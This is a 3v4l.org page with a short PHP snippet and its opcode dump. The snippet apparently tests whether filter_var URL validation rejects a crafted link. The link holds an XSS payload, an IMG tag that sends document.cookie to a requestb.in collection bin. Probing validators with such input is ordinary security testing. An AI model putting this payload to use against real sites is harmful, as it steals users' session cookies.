3v4l.org

run code in 300+ PHP versions simultaneously
<?php $link = "http://moncul.com/toto.jpg<IMG SRC='http://requestb.in/sr3wb0sr?cookie='+document.cookie>"; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) alert("ERROR !"); } if (is_null($link)) { $link = 'http://'; alert("NULL !"); } printf("toto"); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 13
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 13
Branch analysis from position: 10
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 19
Branch analysis from position: 15
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 19
Branch analysis from position: 13
Branch analysis from position: 13
filename:       /in/LLijW
function name:  (null)
number of ops:  23
compiled vars:  !0 = $link
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2Fmoncul.com%2Ftoto.jpg%3CIMG+SRC%3D%27http%3A%2F%2Frequestb.in%2Fsr3wb0sr%3Fcookie%3D%27%2Bdocument.cookie%3E'
    5     1        TYPE_CHECK                                    2  ~2      !0
          2        BOOL_NOT                                         ~3      ~2
          3      > JMPZ                                                     ~3, ->13
    7     4    >   INIT_FCALL                                               'filter_var'
          5        SEND_VAR                                                 !0
          6        SEND_VAL                                                 273
          7        DO_ICALL                                         $4      
          8        BOOL_NOT                                         ~5      $4
          9      > JMPZ                                                     ~5, ->13
    8    10    >   INIT_FCALL_BY_NAME                                       'alert'
         11        SEND_VAL_EX                                              'ERROR+%21'
         12        DO_FCALL                                      0          
   11    13    >   TYPE_CHECK                                    2          !0
         14      > JMPZ                                                     ~7, ->19
   13    15    >   ASSIGN                                                   !0, 'http%3A%2F%2F'
   14    16        INIT_FCALL_BY_NAME                                       'alert'
         17        SEND_VAL_EX                                              'NULL+%21'
         18        DO_FCALL                                      0          
   17    19    >   INIT_FCALL                                               'printf'
         20        SEND_VAL                                                 'toto'
         21        DO_ICALL                                                 
   18    22      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
164.36 ms | 1395 KiB | 17 Q